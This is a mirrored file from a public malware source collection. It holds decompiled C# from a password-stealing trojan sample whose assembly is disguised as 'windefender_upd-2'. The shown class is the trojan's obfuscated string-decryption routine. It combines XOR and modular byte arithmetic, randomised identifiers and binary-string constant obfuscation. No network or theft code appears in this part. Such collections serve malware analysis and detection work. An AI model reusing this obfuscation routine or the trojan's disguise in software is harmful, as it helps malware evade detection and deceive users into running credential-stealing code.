mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2025-01-06 18:35:27 +00:00
78 lines
4.1 KiB
C#
78 lines
4.1 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: FHQnUxOuBUcRwss
|
|
// Assembly: windefender_upd-2, Version=1.3.2.4, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 586226ED-1F78-4585-B234-14A26CF968DE
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-PSW.Win32.Dybalom.gwl-55ca18d19b2d75973541e883e8010d88e1f774533692f9ffc976ac7a227ca560.exe
|
|
|
|
using Microsoft.VisualBasic.CompilerServices;
|
|
using System;
|
|
using System.Text;
|
|
|
|
public class FHQnUxOuBUcRwss
|
|
{
|
|
private string rqHLNFetlWEGbEI;
|
|
|
|
public string TzTZhWCLMKPmtBe
|
|
{
|
|
get => this.rqHLNFetlWEGbEI;
|
|
set => this.rqHLNFetlWEGbEI = value;
|
|
}
|
|
|
|
public FHQnUxOuBUcRwss(string TzTZhWCLMKPmtBe)
|
|
{
|
|
this.rqHLNFetlWEGbEI = "";
|
|
this.TzTZhWCLMKPmtBe = TzTZhWCLMKPmtBe;
|
|
}
|
|
|
|
public FHQnUxOuBUcRwss()
|
|
{
|
|
this.rqHLNFetlWEGbEI = "";
|
|
this.TzTZhWCLMKPmtBe = "";
|
|
}
|
|
|
|
public string DbqjTCEYBFTdyMy(string CNHZIfPZfbnETac) => Encoding.Default.GetString(this.DbqjTCEYBFTdyMy(Encoding.Default.GetBytes(CNHZIfPZfbnETac)));
|
|
|
|
public byte[] DbqjTCEYBFTdyMy(byte[] CNHZIfPZfbnETac)
|
|
{
|
|
CNHZIfPZfbnETac = this.cyXPLXnDYMVsnRT(CNHZIfPZfbnETac, Encoding.Default.GetBytes(this.TzTZhWCLMKPmtBe));
|
|
byte[] numArray = new byte[CNHZIfPZfbnETac.Length - Convert.ToInt32(Conversions.ToString(10), 2) + 1];
|
|
object Counter;
|
|
object LoopForResult;
|
|
object CounterResult;
|
|
if (ObjectFlowControl.ForLoopControl.ForLoopInitObj(Counter, (object) (CNHZIfPZfbnETac.Length - Convert.ToInt32(Conversions.ToString(1), 2)), (object) Convert.ToInt32(Conversions.ToString(1), 2), (object) -Convert.ToInt32(Conversions.ToString(1), 2), ref LoopForResult, ref CounterResult))
|
|
{
|
|
do
|
|
{
|
|
numArray[Conversions.ToInteger(Operators.SubtractObject(CounterResult, (object) Convert.ToInt32(Conversions.ToString(1), 2)))] = this.YyVUvduhlLlwqJG(CNHZIfPZfbnETac[Conversions.ToInteger(CounterResult)], (short) -CNHZIfPZfbnETac[Conversions.ToInteger(Operators.SubtractObject(CounterResult, (object) Convert.ToInt32(Conversions.ToString(1), 2)))]);
|
|
}
|
|
while (ObjectFlowControl.ForLoopControl.ForNextCheckObj(CounterResult, LoopForResult, ref CounterResult));
|
|
}
|
|
return numArray;
|
|
}
|
|
|
|
private byte YyVUvduhlLlwqJG(byte DKRhIIXNQIgKomU, short JdULYiSRFFfoBdw)
|
|
{
|
|
while ((int) JdULYiSRFFfoBdw < Convert.ToInt32(Conversions.ToString(0), 2))
|
|
JdULYiSRFFfoBdw += (short) Convert.ToInt32(Conversions.ToString(100000000), 2);
|
|
return Convert.ToByte((int) (short) ((int) DKRhIIXNQIgKomU + (int) JdULYiSRFFfoBdw) % Convert.ToInt32(Conversions.ToString(100000000), 2));
|
|
}
|
|
|
|
private byte[] cyXPLXnDYMVsnRT(byte[] DKRhIIXNQIgKomU, byte[] lJEhjQWpxnTOONS)
|
|
{
|
|
object Counter;
|
|
object LoopForResult;
|
|
object CounterResult;
|
|
if (lJEhjQWpxnTOONS.Length != 0 && ObjectFlowControl.ForLoopControl.ForLoopInitObj(Counter, (object) Convert.ToInt32(Conversions.ToString(0), 2), (object) (DKRhIIXNQIgKomU.Length - Convert.ToInt32(Conversions.ToString(1), 2)), (object) 1, ref LoopForResult, ref CounterResult))
|
|
{
|
|
do
|
|
{
|
|
DKRhIIXNQIgKomU[Conversions.ToInteger(CounterResult)] = (byte) ((int) DKRhIIXNQIgKomU[Conversions.ToInteger(CounterResult)] ^ (int) this.YyVUvduhlLlwqJG(lJEhjQWpxnTOONS[Conversions.ToInteger(Operators.ModObject(CounterResult, (object) lJEhjQWpxnTOONS.Length))], (short) lJEhjQWpxnTOONS[(int) lJEhjQWpxnTOONS[Conversions.ToInteger(Operators.ModObject(CounterResult, (object) lJEhjQWpxnTOONS.Length))] % lJEhjQWpxnTOONS.Length]) ^ (int) lJEhjQWpxnTOONS[Conversions.ToInteger(Operators.ModObject(Operators.ModObject(Operators.AddObject(CounterResult, Operators.ModObject(CounterResult, (object) Convert.ToInt32(Conversions.ToString(111), 2))), (object) lJEhjQWpxnTOONS.Length), (object) lJEhjQWpxnTOONS.Length))]);
|
|
}
|
|
while (ObjectFlowControl.ForLoopControl.ForNextCheckObj(CounterResult, LoopForResult, ref CounterResult));
|
|
}
|
|
return DKRhIIXNQIgKomU;
|
|
}
|
|
|
|
public string cyXPLXnDYMVsnRT(string WSBPooPYkNgMjCb, string lJEhjQWpxnTOONS) => Encoding.Default.GetString(this.cyXPLXnDYMVsnRT(Encoding.Default.GetBytes(WSBPooPYkNgMjCb), Encoding.Default.GetBytes(lJEhjQWpxnTOONS)));
|
|
}
|